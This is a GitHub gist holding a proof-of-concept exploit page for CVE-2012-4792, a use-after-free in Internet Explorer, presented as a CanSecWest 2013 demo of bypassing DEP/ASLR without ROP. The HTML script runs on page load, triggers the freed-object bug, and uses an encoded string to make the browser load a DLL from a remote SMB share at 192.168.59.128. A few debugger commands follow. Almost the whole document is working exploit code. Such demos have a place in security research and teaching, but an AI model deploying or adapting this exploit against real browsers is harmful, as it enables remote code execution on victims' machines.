Created
March 18, 2013 07:12
-
-
Save hellok/5185526 to your computer and use it in GitHub Desktop.
CVE-2012-4792 demo of "DEP/ASLR bypass without ROP/JIT"
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//http://pastebin.com/Y95c831m | |
<!doctype html> | |
<html> | |
<head> | |
<script> | |
// CVE-2012-4792 demo of "DEP/ASLR bypass without ROP/JIT" in CanSecWest 2013 | |
// Effective in 32-bit IE on x64 Windows | |
// Will load \\192.168.59.128\x\x.dll | |
// https://twitter.com/tombkeeper | |
function GIFT() { | |
var e0 = null; | |
var e1 = null; | |
var e2 = null; | |
try { | |
e0 = document.getElementById("a"); | |
e1 = document.getElementById("b"); | |
e2 = document.createElement("q"); | |
e1.applyElement(e2); | |
e1.appendChild(document.createElement('button')); | |
e1.applyElement(e0); | |
e2.outerText = ""; | |
e2.appendChild(document.createElement('body')); | |
} catch(e) { } | |
CollectGarbage(); | |
window.location = "\u0274\u7ffe\u4242\u4242\u0014\u0030\u0044" + | |
"\u0012\u1212\u0004\u005c\u005c\u0031\u0039\u0032\u002e\u0031" + | |
"\u0036\u0038\u002e\u0035\u0039\u002e\u0031\u0032\u0038\u005c" + | |
"\u0078\u005c\u0078\u002e\u0064\u006c\u006c\u006e\u0074\u0064" + | |
"\u006c\u006c\u002e\u0064\u006c\u006c"; | |
} | |
</script> | |
</head> | |
<body onload="eval(GIFT())"> | |
<form id="a"> | |
</form> | |
<dfn id="b"> | |
</dfn> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
tlist /t | find "iexp"
cdb -hd -p 2976
g
kn 10
\ntdll!LdrHotPatchRoutine+0x131